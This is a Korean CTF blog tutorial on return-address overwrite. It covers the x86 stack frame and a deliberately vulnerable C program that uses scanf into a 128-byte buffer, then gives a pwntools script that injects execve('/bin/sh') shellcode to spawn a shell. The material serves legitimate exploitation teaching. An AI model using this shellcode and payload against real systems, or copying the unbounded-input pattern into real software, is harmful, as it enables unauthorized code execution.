-
RET OverwriteCTF/PWNABLE 2021. 1. 8. 20:23
CONSTRAINT 제약 조건
- Exploit gadget address(shellcode, oneshot_gadget, etc.)
- Stack buffer overflow(지역 변수에서의 overflow를 이용해 ret를 gadget의 주소로 조작)
- Function Epilogue(함수가 exit(0)등을 통해 종료될 경우 ret을 호출하지 않으므로)
PRELIMIARY 서론
해당 포스팅은 어셈블리어와 스택 프레임파트의 내용을 기반으로 한다.
x86 Architecture의 stack frame은 다음과 같다.
메모리의 스택(stack) 영역은 함수 호출에 의해 할당되고, 지역 변수와 매개변수가 저장되는 영역이다. Caller 영역은 호출된 함수의 매개변수, 호출이 끝난 후 돌아갈 return address(RET) 등이 저장되어 있고, Callee 영역은 호출된 함수에서 선언된 지역변수 등이 저장된다. [2]
이때 지역 변수들은 RET보다 작은 주소에 존재하므로, 지역 변수의 크기보다 더 많은 양의 입력이 들어와 스택에 저장될 경우 RET가 존재하는 영역을 덮어써 프로그램 흐름을 제어하는 방식으로 exploit이 가능하다.
METHOD 방법
다음은 지역 변수 buf에서 overflow가 발생하는 코드이다.
int main(int argc, char *argv[]) { char buf[0x80]; initialize(); printf("buf: %p\n", buf); scanf("%200s", buf); return 0; }
scanf 함수는 입력받을 문자열의 size를 고려하지 않기 때문에, 128byte의 크기를 가진 buf 문자열에 200byte 만큼 입력받는 일이 가능하다. 이 상태에서 buf의 크기보다 더 많은 양의 입력이 들어온다면 어떻게 될까?
다양한 결과가 일어날 수 있지만, segmentation falut(SIGSEGV)를 보는 일이 잦을 것이다. 이는 스택 상에 존재하는 return address가 다른 값으로 변형되어 접근 불가능한 영역을 가리키는 등의 에러로 인해 발생하게 된다.
그런데 만약, 변형된 return address가 실제로 존재하는 다른 함수나 코드의 주소를 가리키게 된다면 어떤 일이 발생할까? 이를 의도적으로 조작할 수 있다면 프로그램의 흐름을 마음대로 다룰 수 있게 될 것이므로, 주어진 코드를 자세히 살펴보면서 그 방법을 알아보자.
main 함수가 실제로 어떻게 작동하는지 gdb를 통해 살펴보자. lea 명령어를 통해 eax 레지스터에 주소 ebp-0x80을 저장하고 이를 push한다.
그 후 0x80486a5를 push한 후 scanf 함수를 호출하는 것을 알 수 있다. push된 두 정보는 각각 scanf의 인자로 사용되므로, 따라서 ebp-0x80이 buf 포인터를 가리키는 주소이다.
그러므로 200byte의 입력이 들어오면 첫 128byte는 buf에, 다음 4byte는 SFP에, 그리고 다음 4byte는 RET에 쓰여진다.
이를 바탕으로 공격에 사용할 payload를 구성하면 main 함수가 종료된 후 복귀할 return address를 원하는 대로 조작할 수 있다.
payload = buf(128) + sfp(4) + ret(4)
(buf와 ebp에는 공백을 제외한 아무 값이나 넣어도 된다. scanf는 공백을 무시하므로 이를 염두에 두도록 하자.)
만약 ret를 execve("/bin/sh")를 호출하는 shellcode[3]의 주소로 덮어쓰고 싶다면 132byte 만큼의 여유 공간을 활용해줄 수 있다. payload를 아래와 같이 구성해보자
payload = shellcode(len) + dummy(132-len) + buf_address(4)
main이 종료된 후 프로그램은 ret에 적힌 주소로 이동하게 되는데, 해당 주소에는 shellcode가 위치해 있다. 따라서 다음 코드와 같이 RET Overwrite을 이용해 쉘을 취득할 수 있다.
Code
더보기from pwn import * p = process("./l0tus") shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80" buf_size = 0x80 p.recvuntil("buf: ") buf_addr = int(p.recv(10), 0) payload = shellcode payload += b"A"*(buf_size + 4 - len(shellcode)) payload += p32(buf_addr) p.sendline(payload) p.interactive()
Practice
- pwnable.tw Start
Reference
[1] eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64
'CTF > PWNABLE' 카테고리의 다른 글
Problemset 문제 모음 (0) 2021.01.21 Introduction to pwnable 시스템해킹 개론 (0) 2021.01.20 RTL(Return-to-libc) (0) 2021.01.16 Stack address leak (0) 2021.01.14 hook Overwrite (0) 2021.01.14